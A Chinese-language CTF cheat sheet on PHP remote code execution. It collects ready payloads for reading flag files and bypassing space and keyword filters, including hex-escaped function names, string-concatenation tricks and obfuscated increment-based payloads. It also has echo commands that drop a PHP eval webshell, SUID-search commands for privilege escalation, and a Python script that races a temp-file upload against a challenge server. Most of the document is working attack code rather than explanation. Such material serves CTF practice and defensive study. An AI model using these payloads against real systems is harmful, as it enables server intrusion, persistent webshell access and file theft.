Rce大总结
1 2 3 4 5
| var_dump +file读文件 var_dump换成print_r也行 PHP代码执行函数: eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等 PHP命令执行函数: system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
|
命令大全
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 sh /flag 2>%261 //报错出文件内容 paste 它被用来将文件按列以tab作为分隔符拼接在一起随后输出到标准输出(standard output)。 grep f /flag 输出f所在行的内容 cut -c 1-50 /flag 截取1-50位进行输出 strings 查看文件文本形式 type flag rev [^b] 代表不是b的其他字符 php -r 可执行命令 如 php -r 'system(hex2bin(ff3b746163202f666c61672e747874));' 这里加ff是为了让他不识别为数字,加载为16进制转为字符串 grep -rl “搜索内容” /路径 du -a / 查看根目录和子目录
自增RCE $%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]); //传参是 %ff=system&_=cat /f1agaaa
|
过滤空格
空格被过滤可以利用
1 2 3 4 5 6 7
| %0a 换行 %09 (需要php环境) ${IFS} $IFS$9 <>(cat<>/flag) <(cat</flag) {cat,flag}
|
无回显
判断无回显首先要看输入命令有没有输出反应,或者可以sleep一下看看能否执行,能执行但没输出是无回显
利用复制,移动,查找等命令
1 2 3 4 5 6
| copy flag 1.txt mv flag 1.txt cat flag > 1.txt tar zcvf flag.tar.gz flag echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php echo "<?php @eval($_POST['suifeng']); ?>" > webshell.php
|
利用curl等
curl ls
dnslog
wegt ….
ping….
代码中插入了>/dev/null 2>&1,“>/dev/null 2>&1”的作用就是不回显。该种无回显我们用分隔符进行分割即可绕过
通配符
1 2 3 4 5 6 7 8 9 10 11 12
| 在Linux中,通配符是用来匹配文件名或路径的特殊字符。它们可以用于命令行中的文件搜索、文件操作和正则表达式等场景中。
以下是常用的通配符:
*:匹配任意字符(包括空字符)的任意数量。 ?:匹配单个任意字符。 []:匹配方括号内的任意一个字符。 [!] 或 [^]:匹配不在方括号内的任意一个字符。 [a-f]匹配a-f任意字符 {}:用于指定多个选择项,以逗号分隔。 ~:表示当前用户的主目录。 [^b] 代表不是b的其他字符 举例来说,如果你想匹配所有以 .txt 结尾的文件,可以使用通配符 *.txt;如果你想匹配以 a 开头的三个字符的文件,可以使用通配符 a??。
|
无参rce
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight_file()、show_source()、readfile():读取文件内容
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
提权三件套
1 2 3
| find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;
|
1 2 3 4 5 6 7 8 9
| find / -perm -u=s -type f 2>/dev/null /表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误) >表示重定向 /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
|
自增RCE
1 2 3 4
| c=$__=(_/_._){_};$__++;$_=$__.$__++;$__++;$__++;$_=_.$_.++$__.++$__;($$_{_})($$_{__});&_=system&__=whoami
记得URL加密 c=%24%5f%5f%3d%28%5f%2f%5f%2e%5f%29%7b%5f%7d%3b%24%5f%5f%2b%2b%3b%24%5f%3d%24%5f%5f%2e%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%3d%5f%2e%24%5f%2e%2b%2b%24%5f%5f%2e%2b%2b%24%5f%5f%3b%28%24%24%5f%7b%5f%7d%29%28%24%24%5f%7b%5f%5f%7d%29%3b&_=system&__=whoami
|
二、PHP系统命令执行函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 1.system('ls');
2.echo `ls`;
3.passthru("whoami");
4.echo exec("whoami");
5.echo shell_exec("whoami");//同反引号
6.popen();//popen('echo "test" > m.txt','r');//该函数返回文件指针,也就是说该函数无回显,可以用于盲注或写马或写文件读文件或dnslog带外
7.proc_open();
8.pcntl_exec();
|
三、PHP列出目录下的文件
1 2 3
| 1.print_r(scandir(current(localeconv()))); 2.print_r(glob("/*")); 这里的glob和scandir函数同理,但是无关权限。 3.$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString())." ";}
|
四、PHP查看文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| 1.show_source("flag.php") 2.highlight_file("flag.php") 3.highlight_file(next(array_reverse(scandir(dirname(__FILE__))))); 4.include("flag.php") 5.require("flag.php") 6.require_once("flag.php") 7.readfile("flag.php"); 9.try{$dbh=new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row){echo($row[0])."|"; }$dbh= null;}catch(PDOException $e){echo $e->getMessage();}die(); 10.echo file_get_contents("flag.php"); 11.var_dump(file('flag.php')); 12.print_r(file('flag.php')); 13.通过fopen去读取文件内容,这里介绍下函数 fread() fgets() fgetc() fgetss() fgetcsv() gpassthru() payload: $a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);} $a=fopen("flag.php","r");echo fread($a,"1000"); $a=fopen("flag.php","r");echo fpassthru($a); 14.非正常读取直接看: copy("flag.php","flag.txt"); rename("flag.php","flag.txt");
|
五、绕过关键字过滤之字符串转义
1 2 3
| 1."\x73\x79\x73\x74\x65\x6d"("ls"); 2.8进制 3.Unicode方式
|
六、绕过关键字之点连接字符串
1 2 3 4
| (p.h.p.i.n.f.o)(); (sy.(st).em)(whoami); (sy.(st).em)(who.ami); (s.y.s.t.e.m)("whoami");
|
七、PHP命令执行(eval)做题其他解法
1 2 3 4 5 6 7 8 9 10 11 12 13
| 1.配合文件包含示例: ?c=include$_GET[1]?>&1=php: 2.利用session ?c=session_start();system(session_id()); 并且 Cookie: PHPSESSID=ls 读取文件的话需要利用其他姿势了,我实验不行,说有无效参数。。。 3.通过post上传临时文件并且执行。原理:https: 脚本: import requests while True: url = "http://44875025-cec2-4154-8d87-34cbdcff5f27.chall.ctf.show/?c=.+/???/????????[@-[]" r = requests.post(url, files={"file": ('1.php', b'cat flag.php')}) if r.text.find("flag") >0: print(r.text) break
|